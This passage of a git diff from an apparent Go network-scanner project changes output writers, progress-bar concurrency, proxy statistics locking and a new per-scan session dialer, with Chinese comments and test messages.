t.Errorf("CSV文件缺少 %q,内容:\n%s", want, content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTXTWriter_WebServiceProtocolFromDetails(t *testing.T) {
|
||||||
|
dir := createTestDir(t)
|
||||||
|
filePath := filepath.Join(dir, "test_web_protocol.txt")
|
||||||
|
|
||||||
|
writer, err := NewTXTWriter(filePath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("创建TXTWriter失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
result := createTestResult(
|
||||||
|
TypeService,
|
||||||
|
"192.168.1.1:8443",
|
||||||
|
"web",
|
||||||
|
map[string]interface{}{
|
||||||
|
"plugin": "webtitle",
|
||||||
|
"is_web": true,
|
||||||
|
"port": 8443,
|
||||||
|
"protocol": "https",
|
||||||
|
"title": "Home",
|
||||||
|
"status": 200,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
if err := writer.Write(result); err != nil {
|
||||||
|
t.Fatalf("Write()失败: %v", err)
|
||||||
|
}
|
||||||
|
if err := writer.Close(); err != nil {
|
||||||
|
t.Fatalf("Close()失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
content := readFileContent(t, filePath)
|
||||||
|
if !strings.Contains(content, "https://192.168.1.1:8443") {
|
||||||
|
t.Fatalf("TXT输出缺少HTTPS URL,内容:\n%s", content)
|
||||||
|
}
|
||||||
|
if strings.Contains(content, "http://192.168.1.1:8443") {
|
||||||
|
t.Fatalf("TXT输出不应把HTTPS目标降级为HTTP,内容:\n%s", content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// TestJSONWriter_FlushAndFormat 测试JSON的Flush和GetFormat
|
// TestJSONWriter_FlushAndFormat 测试JSON的Flush和GetFormat
|
||||||
func TestJSONWriter_FlushAndFormat(t *testing.T) {
|
func TestJSONWriter_FlushAndFormat(t *testing.T) {
|
||||||
dir := createTestDir(t)
|
dir := createTestDir(t)
|
||||||
|
|||||||
+17
-1
@@ -15,10 +15,18 @@ import (
|
|||||||
// ResultOutput 全局输出管理器
|
// ResultOutput 全局输出管理器
|
||||||
var ResultOutput *output.Manager
|
var ResultOutput *output.Manager
|
||||||
|
|
||||||
|
// StdoutWriter silent模式下的NDJSON stdout写入器
|
||||||
|
var StdoutWriter *output.StdoutNDJSONWriter
|
||||||
|
|
||||||
// InitOutput 初始化输出系统
|
// InitOutput 初始化输出系统
|
||||||
func InitOutput() error {
|
func InitOutput() error {
|
||||||
fv := GetFlagVars()
|
fv := GetFlagVars()
|
||||||
|
|
||||||
|
// silent模式:初始化NDJSON stdout写入器(独立于文件输出)
|
||||||
|
if fv.Silent {
|
||||||
|
StdoutWriter = output.NewStdoutNDJSONWriter()
|
||||||
|
}
|
||||||
|
|
||||||
// 用户通过-no flag禁用保存时,跳过文件初始化避免不必要的资源开销
|
// 用户通过-no flag禁用保存时,跳过文件初始化避免不必要的资源开销
|
||||||
if fv.DisableSave {
|
if fv.DisableSave {
|
||||||
return nil
|
return nil
|
||||||
@@ -59,6 +67,9 @@ func InitOutput() error {
|
|||||||
|
|
||||||
// CloseOutput 关闭输出系统
|
// CloseOutput 关闭输出系统
|
||||||
func CloseOutput() error {
|
func CloseOutput() error {
|
||||||
|
if StdoutWriter != nil {
|
||||||
|
_ = StdoutWriter.Close()
|
||||||
|
}
|
||||||
if ResultOutput == nil {
|
if ResultOutput == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -80,8 +91,13 @@ func SaveResult(result *output.ScanResult) error {
|
|||||||
"details": result.Details,
|
"details": result.Details,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
// silent模式:NDJSON实时输出到stdout
|
||||||
|
if StdoutWriter != nil {
|
||||||
|
_ = StdoutWriter.WriteResult(result)
|
||||||
|
}
|
||||||
|
|
||||||
// 用户禁用保存或输出未初始化时,跳过文件保存
|
// 用户禁用保存或输出未初始化时,跳过文件保存
|
||||||
if GetFlagVars().DisableSave || ResultOutput == nil {
|
if GetGlobalConfig().Output.DisableSave || ResultOutput == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return ResultOutput.SaveResult(result)
|
return ResultOutput.SaveResult(result)
|
||||||
|
|||||||
+46
-24
@@ -48,6 +48,10 @@ type ProgressManager struct {
|
|||||||
|
|
||||||
// 进度条更新控制(减少 Windows 终端的重复输出)
|
// 进度条更新控制(减少 Windows 终端的重复输出)
|
||||||
lastRenderedPercent int
|
lastRenderedPercent int
|
||||||
|
|
||||||
|
// 引用,避免读全局
|
||||||
|
state *State
|
||||||
|
noColor bool
|
||||||
}
|
}
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
@@ -102,11 +106,13 @@ func GetProgressManager() *ProgressManager {
|
|||||||
|
|
||||||
// InitProgress 初始化进度条
|
// InitProgress 初始化进度条
|
||||||
func (pm *ProgressManager) InitProgress(total int64, description string) {
|
func (pm *ProgressManager) InitProgress(total int64, description string) {
|
||||||
fv := GetFlagVars()
|
cfg := GetGlobalConfig()
|
||||||
if fv.DisableProgress || fv.Silent {
|
if cfg.Output.DisableProgress || cfg.Output.Silent {
|
||||||
pm.enabled = false
|
pm.enabled = false
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
pm.state = GetGlobalState()
|
||||||
|
pm.noColor = cfg.Output.NoColor
|
||||||
|
|
||||||
pm.mu.Lock()
|
pm.mu.Lock()
|
||||||
defer pm.mu.Unlock()
|
defer pm.mu.Unlock()
|
||||||
@@ -137,16 +143,24 @@ func (pm *ProgressManager) UpdateProgress(increment int64) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
pm.mu.Lock()
|
// 原子累加,避免高并发下的锁竞争
|
||||||
defer pm.mu.Unlock()
|
newCurrent := atomic.AddInt64(&pm.current, increment)
|
||||||
|
if newCurrent > pm.total {
|
||||||
pm.current += increment
|
atomic.StoreInt64(&pm.current, pm.total)
|
||||||
if pm.current > pm.total {
|
|
||||||
pm.current = pm.total
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新活跃时间
|
// 节流渲染:距上次渲染不足 50ms 则跳过
|
||||||
pm.lastActivity = time.Now()
|
now := time.Now()
|
||||||
|
pm.mu.RLock()
|
||||||
|
lastAct := pm.lastActivity
|
||||||
|
pm.mu.RUnlock()
|
||||||
|
if now.Sub(lastAct) < 50*time.Millisecond {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
pm.mu.Lock()
|
||||||
|
pm.lastActivity = now
|
||||||
|
pm.mu.Unlock()
|
||||||
|
|
||||||
pm.renderProgress()
|
pm.renderProgress()
|
||||||
}
|
}
|
||||||
@@ -164,7 +178,7 @@ func (pm *ProgressManager) FinishProgress() {
|
|||||||
pm.mu.Lock()
|
pm.mu.Lock()
|
||||||
defer pm.mu.Unlock()
|
defer pm.mu.Unlock()
|
||||||
|
|
||||||
pm.current = pm.total
|
atomic.StoreInt64(&pm.current, pm.total)
|
||||||
pm.renderProgress()
|
pm.renderProgress()
|
||||||
|
|
||||||
// 停止活跃指示器
|
// 停止活跃指示器
|
||||||
@@ -214,11 +228,12 @@ func (pm *ProgressManager) generateProgressBar() string {
|
|||||||
return base
|
return base
|
||||||
}
|
}
|
||||||
|
|
||||||
percentage := float64(pm.current) / float64(pm.total) * 100
|
percentage := float64(atomic.LoadInt64(&pm.current)) / float64(pm.total) * 100
|
||||||
elapsed := time.Since(pm.startTime)
|
elapsed := time.Since(pm.startTime)
|
||||||
|
current := atomic.LoadInt64(&pm.current)
|
||||||
|
|
||||||
// 计算速度
|
// 计算速度
|
||||||
speed := float64(pm.current) / elapsed.Seconds()
|
speed := float64(current) / elapsed.Seconds()
|
||||||
speedStr := ""
|
speedStr := ""
|
||||||
if speed > 0 {
|
if speed > 0 {
|
||||||
speedStr = fmt.Sprintf(" %.0f/s", speed)
|
speedStr = fmt.Sprintf(" %.0f/s", speed)
|
||||||
@@ -226,8 +241,8 @@ func (pm *ProgressManager) generateProgressBar() string {
|
|||||||
|
|
||||||
// 计算预估剩余时间
|
// 计算预估剩余时间
|
||||||
var eta string
|
var eta string
|
||||||
if pm.current > 0 && pm.current < pm.total {
|
if current > 0 && current < pm.total {
|
||||||
totalTime := elapsed * time.Duration(pm.total) / time.Duration(pm.current)
|
totalTime := elapsed * time.Duration(pm.total) / time.Duration(current)
|
||||||
remaining := totalTime - elapsed
|
remaining := totalTime - elapsed
|
||||||
if remaining > 0 {
|
if remaining > 0 {
|
||||||
eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining))
|
eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining))
|
||||||
@@ -239,7 +254,7 @@ func (pm *ProgressManager) generateProgressBar() string {
|
|||||||
|
|
||||||
// 计算固定部分的宽度
|
// 计算固定部分的宽度
|
||||||
fixedPart := fmt.Sprintf("%s %s %5.1f%% [] (%d/%d)%s%s %s",
|
fixedPart := fmt.Sprintf("%s %s %5.1f%% [] (%d/%d)%s%s %s",
|
||||||
pm.description, spinner, percentage, pm.current, pm.total, speedStr, eta, packetInfo)
|
pm.description, spinner, percentage, current, pm.total, speedStr, eta, packetInfo)
|
||||||
fixedWidth := displayWidth(fixedPart)
|
fixedWidth := displayWidth(fixedPart)
|
||||||
|
|
||||||
// 计算进度条槽位可用宽度(预留2字符余量)
|
// 计算进度条槽位可用宽度(预留2字符余量)
|
||||||
@@ -266,7 +281,7 @@ func (pm *ProgressManager) generateProgressBar() string {
|
|||||||
|
|
||||||
// 构建最终进度条
|
// 构建最终进度条
|
||||||
result := fmt.Sprintf("%s %s %5.1f%% %s (%d/%d)%s%s",
|
result := fmt.Sprintf("%s %s %5.1f%% %s (%d/%d)%s%s",
|
||||||
pm.description, spinner, percentage, bar, pm.current, pm.total, speedStr, eta)
|
pm.description, spinner, percentage, bar, current, pm.total, speedStr, eta)
|
||||||
|
|
||||||
if packetInfo != "" {
|
if packetInfo != "" {
|
||||||
result += " " + packetInfo
|
result += " " + packetInfo
|
||||||
@@ -277,13 +292,16 @@ func (pm *ProgressManager) generateProgressBar() string {
|
|||||||
|
|
||||||
// getPacketInfo 获取发包统计信息(简化版)
|
// getPacketInfo 获取发包统计信息(简化版)
|
||||||
func (pm *ProgressManager) getPacketInfo() string {
|
func (pm *ProgressManager) getPacketInfo() string {
|
||||||
packetCount := GetGlobalState().GetPacketCount()
|
if pm.state == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
packetCount := pm.state.GetPacketCount()
|
||||||
if packetCount == 0 {
|
if packetCount == 0 {
|
||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
tcpSuccess := GetGlobalState().GetTCPSuccessPacketCount()
|
tcpSuccess := pm.state.GetTCPSuccessPacketCount()
|
||||||
tcpFailed := GetGlobalState().GetTCPFailedPacketCount()
|
tcpFailed := pm.state.GetTCPFailedPacketCount()
|
||||||
|
|
||||||
// 简化格式:TCP:成功/失败
|
// 简化格式:TCP:成功/失败
|
||||||
if tcpSuccess > 0 || tcpFailed > 0 {
|
if tcpSuccess > 0 || tcpFailed > 0 {
|
||||||
@@ -301,7 +319,7 @@ func (pm *ProgressManager) showCompletionInfo() {
|
|||||||
fmt.Print("\n")
|
fmt.Print("\n")
|
||||||
|
|
||||||
completionMsg := i18n.GetText("progress_scan_completed")
|
completionMsg := i18n.GetText("progress_scan_completed")
|
||||||
if GetFlagVars().NoColor {
|
if pm.noColor {
|
||||||
fmt.Printf("[完成] %s %d/%d (耗时: %s)\n",
|
fmt.Printf("[完成] %s %d/%d (耗时: %s)\n",
|
||||||
completionMsg, pm.total, pm.total, formatDuration(elapsed))
|
completionMsg, pm.total, pm.total, formatDuration(elapsed))
|
||||||
} else {
|
} else {
|
||||||
@@ -461,7 +479,7 @@ func (pm *ProgressManager) GetPercent() float64 {
|
|||||||
if !pm.isActive || pm.total == 0 {
|
if !pm.isActive || pm.total == 0 {
|
||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
return float64(pm.current) / float64(pm.total) * 100
|
return float64(atomic.LoadInt64(&pm.current)) / float64(pm.total) * 100
|
||||||
}
|
}
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
@@ -470,6 +488,10 @@ func (pm *ProgressManager) GetPercent() float64 {
|
|||||||
|
|
||||||
// LogWithProgress 在进度条活跃时协调日志输出
|
// LogWithProgress 在进度条活跃时协调日志输出
|
||||||
func LogWithProgress(message string) {
|
func LogWithProgress(message string) {
|
||||||
|
if cfg := GetGlobalConfig(); cfg != nil && cfg.Output.Silent {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
pm := GetProgressManager()
|
pm := GetProgressManager()
|
||||||
if !pm.IsActive() {
|
if !pm.IsActive() {
|
||||||
// 如果进度条不活跃,直接输出
|
// 如果进度条不活跃,直接输出
|
||||||
@@ -499,7 +521,7 @@ func (pm *ProgressManager) renderProgressUnsafe() {
|
|||||||
// 计算当前百分比(避免除零)
|
// 计算当前百分比(避免除零)
|
||||||
currentPercent := 0
|
currentPercent := 0
|
||||||
if pm.total > 0 {
|
if pm.total > 0 {
|
||||||
currentPercent = int((pm.current * 100) / pm.total)
|
currentPercent = int((atomic.LoadInt64(&pm.current) * 100) / pm.total)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 只在百分比变化时更新,减少不必要的渲染
|
// 只在百分比变化时更新,减少不必要的渲染
|
||||||
@@ -532,7 +554,7 @@ func (pm *ProgressManager) renderProgressUnsafe() {
|
|||||||
fmt.Print(clearStr)
|
fmt.Print(clearStr)
|
||||||
|
|
||||||
// 输出进度条(带颜色,如果启用)
|
// 输出进度条(带颜色,如果启用)
|
||||||
if GetFlagVars().NoColor {
|
if pm.noColor {
|
||||||
fmt.Print(progressBar)
|
fmt.Print(progressBar)
|
||||||
} else {
|
} else {
|
||||||
fmt.Printf("%s%s%s", AnsiCyan, progressBar, AnsiReset)
|
fmt.Printf("%s%s%s", AnsiCyan, progressBar, AnsiReset)
|
||||||
|
|||||||
@@ -19,6 +19,9 @@ var (
|
|||||||
|
|
||||||
// proxyProbed 标记代理是否已经探测过(避免重复探测)
|
// proxyProbed 标记代理是否已经探测过(避免重复探测)
|
||||||
proxyProbed atomic.Bool
|
proxyProbed atomic.Bool
|
||||||
|
|
||||||
|
// currentProxyType 当前代理类型
|
||||||
|
currentProxyType atomic.Int32
|
||||||
)
|
)
|
||||||
|
|
||||||
// SetProxyEnabled 设置代理启用状态
|
// SetProxyEnabled 设置代理启用状态
|
||||||
@@ -61,6 +64,11 @@ func IsProxyProbed() bool {
|
|||||||
return proxyProbed.Load()
|
return proxyProbed.Load()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型
|
||||||
|
func IsSOCKS5Proxy() bool {
|
||||||
|
return proxyEnabled.Load() && ProxyType(currentProxyType.Load()) == ProxyTypeSOCKS5
|
||||||
|
}
|
||||||
|
|
||||||
// AutoConfigureProxy 自动配置代理相关行为
|
// AutoConfigureProxy 自动配置代理相关行为
|
||||||
// 根据代理类型和状态自动调整扫描策略
|
// 根据代理类型和状态自动调整扫描策略
|
||||||
func AutoConfigureProxy(config *ProxyConfig) {
|
func AutoConfigureProxy(config *ProxyConfig) {
|
||||||
@@ -74,6 +82,7 @@ func AutoConfigureProxy(config *ProxyConfig) {
|
|||||||
|
|
||||||
// 启用代理标记
|
// 启用代理标记
|
||||||
SetProxyEnabled(true)
|
SetProxyEnabled(true)
|
||||||
|
currentProxyType.Store(int32(config.Type))
|
||||||
|
|
||||||
// SOCKS5代理默认假设非标准(后续由探测函数验证)
|
// SOCKS5代理默认假设非标准(后续由探测函数验证)
|
||||||
if config.Type == ProxyTypeSOCKS5 {
|
if config.Type == ProxyTypeSOCKS5 {
|
||||||
|
|||||||
@@ -30,7 +30,9 @@ func (h *httpDialer) DialContext(ctx context.Context, network, address string) (
|
|||||||
proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address)
|
proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
atomic.AddInt64(&h.stats.FailedConnections, 1)
|
atomic.AddInt64(&h.stats.FailedConnections, 1)
|
||||||
|
h.stats.mu.Lock()
|
||||||
h.stats.LastError = err.Error()
|
h.stats.LastError = err.Error()
|
||||||
|
h.stats.mu.Unlock()
|
||||||
return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err)
|
return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -38,12 +40,16 @@ func (h *httpDialer) DialContext(ctx context.Context, network, address string) (
|
|||||||
if err := h.sendConnectRequest(proxyConn, address); err != nil {
|
if err := h.sendConnectRequest(proxyConn, address); err != nil {
|
||||||
_ = proxyConn.Close() // 错误处理路径,Close错误可忽略
|
_ = proxyConn.Close() // 错误处理路径,Close错误可忽略
|
||||||
atomic.AddInt64(&h.stats.FailedConnections, 1)
|
atomic.AddInt64(&h.stats.FailedConnections, 1)
|
||||||
|
h.stats.mu.Lock()
|
||||||
h.stats.LastError = err.Error()
|
h.stats.LastError = err.Error()
|
||||||
|
h.stats.mu.Unlock()
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
duration := time.Since(start)
|
duration := time.Since(start)
|
||||||
|
h.stats.mu.Lock()
|
||||||
h.stats.LastConnectTime = start
|
h.stats.LastConnectTime = start
|
||||||
|
h.stats.mu.Unlock()
|
||||||
atomic.AddInt64(&h.stats.ActiveConnections, 1)
|
atomic.AddInt64(&h.stats.ActiveConnections, 1)
|
||||||
h.updateAverageConnectTime(duration)
|
h.updateAverageConnectTime(duration)
|
||||||
|
|
||||||
@@ -108,7 +114,8 @@ func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error {
|
|||||||
|
|
||||||
// updateAverageConnectTime 更新平均连接时间
|
// updateAverageConnectTime 更新平均连接时间
|
||||||
func (h *httpDialer) updateAverageConnectTime(duration time.Duration) {
|
func (h *httpDialer) updateAverageConnectTime(duration time.Duration) {
|
||||||
// 简单的移动平均
|
h.stats.mu.Lock()
|
||||||
|
defer h.stats.mu.Unlock()
|
||||||
if h.stats.AverageConnectTime == 0 {
|
if h.stats.AverageConnectTime == 0 {
|
||||||
h.stats.AverageConnectTime = duration
|
h.stats.AverageConnectTime = duration
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
+29
-5
@@ -128,9 +128,19 @@ func (m *manager) Stats() *ProxyStats {
|
|||||||
m.mu.RLock()
|
m.mu.RLock()
|
||||||
defer m.mu.RUnlock()
|
defer m.mu.RUnlock()
|
||||||
|
|
||||||
// 返回副本以避免并发问题
|
m.stats.mu.Lock()
|
||||||
statsCopy := *m.stats
|
defer m.stats.mu.Unlock()
|
||||||
return &statsCopy
|
|
||||||
|
return &ProxyStats{
|
||||||
|
TotalConnections: atomic.LoadInt64(&m.stats.TotalConnections),
|
||||||
|
ActiveConnections: atomic.LoadInt64(&m.stats.ActiveConnections),
|
||||||
|
FailedConnections: atomic.LoadInt64(&m.stats.FailedConnections),
|
||||||
|
AverageConnectTime: m.stats.AverageConnectTime,
|
||||||
|
LastConnectTime: m.stats.LastConnectTime,
|
||||||
|
LastError: m.stats.LastError,
|
||||||
|
ProxyType: m.stats.ProxyType,
|
||||||
|
ProxyAddress: m.stats.ProxyAddress,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// createDirectDialer 创建直连拨号器
|
// createDirectDialer 创建直连拨号器
|
||||||
@@ -264,11 +274,16 @@ func (d *directDialer) DialContext(ctx context.Context, network, address string)
|
|||||||
conn, err := dialer.DialContext(ctx, network, address)
|
conn, err := dialer.DialContext(ctx, network, address)
|
||||||
|
|
||||||
duration := time.Since(start)
|
duration := time.Since(start)
|
||||||
|
|
||||||
|
d.stats.mu.Lock()
|
||||||
d.stats.LastConnectTime = start
|
d.stats.LastConnectTime = start
|
||||||
|
d.stats.mu.Unlock()
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
atomic.AddInt64(&d.stats.FailedConnections, 1)
|
atomic.AddInt64(&d.stats.FailedConnections, 1)
|
||||||
|
d.stats.mu.Lock()
|
||||||
d.stats.LastError = err.Error()
|
d.stats.LastError = err.Error()
|
||||||
|
d.stats.mu.Unlock()
|
||||||
return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err)
|
return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -323,15 +338,22 @@ func (s *socks5Dialer) DialContext(ctx context.Context, network, address string)
|
|||||||
select {
|
select {
|
||||||
case <-dialCtx.Done():
|
case <-dialCtx.Done():
|
||||||
atomic.AddInt64(&s.stats.FailedConnections, 1)
|
atomic.AddInt64(&s.stats.FailedConnections, 1)
|
||||||
|
s.stats.mu.Lock()
|
||||||
s.stats.LastError = dialCtx.Err().Error()
|
s.stats.LastError = dialCtx.Err().Error()
|
||||||
|
s.stats.mu.Unlock()
|
||||||
return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err())
|
return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err())
|
||||||
case result := <-connChan:
|
case result := <-connChan:
|
||||||
duration := time.Since(start)
|
duration := time.Since(start)
|
||||||
|
|
||||||
|
s.stats.mu.Lock()
|
||||||
s.stats.LastConnectTime = start
|
s.stats.LastConnectTime = start
|
||||||
|
s.stats.mu.Unlock()
|
||||||
|
|
||||||
if result.err != nil {
|
if result.err != nil {
|
||||||
atomic.AddInt64(&s.stats.FailedConnections, 1)
|
atomic.AddInt64(&s.stats.FailedConnections, 1)
|
||||||
|
s.stats.mu.Lock()
|
||||||
s.stats.LastError = result.err.Error()
|
s.stats.LastError = result.err.Error()
|
||||||
|
s.stats.mu.Unlock()
|
||||||
return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err)
|
return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -347,7 +369,8 @@ func (s *socks5Dialer) DialContext(ctx context.Context, network, address string)
|
|||||||
|
|
||||||
// updateAverageConnectTime 更新平均连接时间
|
// updateAverageConnectTime 更新平均连接时间
|
||||||
func (d *directDialer) updateAverageConnectTime(duration time.Duration) {
|
func (d *directDialer) updateAverageConnectTime(duration time.Duration) {
|
||||||
// 简单的移动平均
|
d.stats.mu.Lock()
|
||||||
|
defer d.stats.mu.Unlock()
|
||||||
if d.stats.AverageConnectTime == 0 {
|
if d.stats.AverageConnectTime == 0 {
|
||||||
d.stats.AverageConnectTime = duration
|
d.stats.AverageConnectTime = duration
|
||||||
} else {
|
} else {
|
||||||
@@ -356,7 +379,8 @@ func (d *directDialer) updateAverageConnectTime(duration time.Duration) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) {
|
func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) {
|
||||||
// 简单的移动平均
|
s.stats.mu.Lock()
|
||||||
|
defer s.stats.mu.Unlock()
|
||||||
if s.stats.AverageConnectTime == 0 {
|
if s.stats.AverageConnectTime == 0 {
|
||||||
s.stats.AverageConnectTime = duration
|
s.stats.AverageConnectTime = duration
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -50,7 +50,9 @@ func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address
|
|||||||
if err := tlsConn.Handshake(); err != nil {
|
if err := tlsConn.Handshake(); err != nil {
|
||||||
_ = tcpConn.Close() // TLS握手失败,Close错误可忽略
|
_ = tcpConn.Close() // TLS握手失败,Close错误可忽略
|
||||||
atomic.AddInt64(&t.stats.FailedConnections, 1)
|
atomic.AddInt64(&t.stats.FailedConnections, 1)
|
||||||
|
t.stats.mu.Lock()
|
||||||
t.stats.LastError = err.Error()
|
t.stats.LastError = err.Error()
|
||||||
|
t.stats.mu.Unlock()
|
||||||
return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err)
|
return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,7 +73,8 @@ func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address
|
|||||||
|
|
||||||
// updateAverageConnectTime 更新平均连接时间
|
// updateAverageConnectTime 更新平均连接时间
|
||||||
func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) {
|
func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) {
|
||||||
// 简单的移动平均
|
t.stats.mu.Lock()
|
||||||
|
defer t.stats.mu.Unlock()
|
||||||
if t.stats.AverageConnectTime == 0 {
|
if t.stats.AverageConnectTime == 0 {
|
||||||
t.stats.AverageConnectTime = duration
|
t.stats.AverageConnectTime = duration
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"crypto/tls"
|
"crypto/tls"
|
||||||
"net"
|
"net"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -95,9 +96,10 @@ type ProxyManager interface {
|
|||||||
//
|
//
|
||||||
//nolint:revive // 保持与现有代码的向后兼容性
|
//nolint:revive // 保持与现有代码的向后兼容性
|
||||||
type ProxyStats struct {
|
type ProxyStats struct {
|
||||||
TotalConnections int64 `json:"total_connections"`
|
TotalConnections int64 `json:"total_connections"`
|
||||||
ActiveConnections int64 `json:"active_connections"`
|
ActiveConnections int64 `json:"active_connections"`
|
||||||
FailedConnections int64 `json:"failed_connections"`
|
FailedConnections int64 `json:"failed_connections"`
|
||||||
|
mu sync.Mutex `json:"-"`
|
||||||
AverageConnectTime time.Duration `json:"average_connect_time"`
|
AverageConnectTime time.Duration `json:"average_connect_time"`
|
||||||
LastConnectTime time.Time `json:"last_connect_time"`
|
LastConnectTime time.Time `json:"last_connect_time"`
|
||||||
LastError string `json:"last_error,omitempty"`
|
LastError string `json:"last_error,omitempty"`
|
||||||
|
|||||||
@@ -0,0 +1,106 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/proxy"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ScanSession 封装单次扫描的全部上下文
|
||||||
|
// 一次扫描一个 session,并发扫描各自独立
|
||||||
|
type ScanSession struct {
|
||||||
|
Config *Config // 不可变,创建后只读
|
||||||
|
State *State // 可变,原子操作,每会话独立
|
||||||
|
Params *FlagVars // 原始参数,只读
|
||||||
|
|
||||||
|
// 每会话 dialer(懒初始化,取决于代理配置)
|
||||||
|
dialerOnce sync.Once
|
||||||
|
dialer proxy.Dialer
|
||||||
|
dialerErr error
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewScanSession 从已构建的 Config、State 和 FlagVars 创建会话
|
||||||
|
func NewScanSession(config *Config, state *State, params *FlagVars) *ScanSession {
|
||||||
|
return &ScanSession{
|
||||||
|
Config: config,
|
||||||
|
State: state,
|
||||||
|
Params: params,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// DialTCP 创建 TCP 连接,内含限速检查、代理、计数
|
||||||
|
func (s *ScanSession) DialTCP(ctx context.Context, network, address string, timeout time.Duration) (net.Conn, error) {
|
||||||
|
// 检查发包限制
|
||||||
|
if ok, err := CanSendPacketWith(s.Config, s.State); !ok {
|
||||||
|
LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, err.Error()))
|
||||||
|
return nil, fmt.Errorf("发包受限: %s", err.Error())
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取 dialer
|
||||||
|
dialer, err := s.getDialer()
|
||||||
|
if err != nil {
|
||||||
|
LogError(fmt.Sprintf("获取代理拨号器失败: %v", err))
|
||||||
|
s.State.IncrementTCPFailedPacketCount()
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
conn, err := dialer.DialContext(ctx, network, address)
|
||||||
|
if err != nil {
|
||||||
|
s.State.IncrementTCPFailedPacketCount()
|
||||||
|
LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err))
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// SO_LINGER=0: 连接关闭时立即发送 RST,避免 TIME_WAIT 堆积
|
||||||
|
if tc, ok := conn.(*net.TCPConn); ok {
|
||||||
|
_ = tc.SetLinger(0)
|
||||||
|
}
|
||||||
|
|
||||||
|
s.State.IncrementTCPSuccessPacketCount()
|
||||||
|
return conn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ScanSession) getDialer() (proxy.Dialer, error) {
|
||||||
|
s.dialerOnce.Do(func() {
|
||||||
|
cfg := s.createProxyConfig()
|
||||||
|
manager := proxy.NewProxyManager(cfg)
|
||||||
|
s.dialer, s.dialerErr = manager.GetDialer()
|
||||||
|
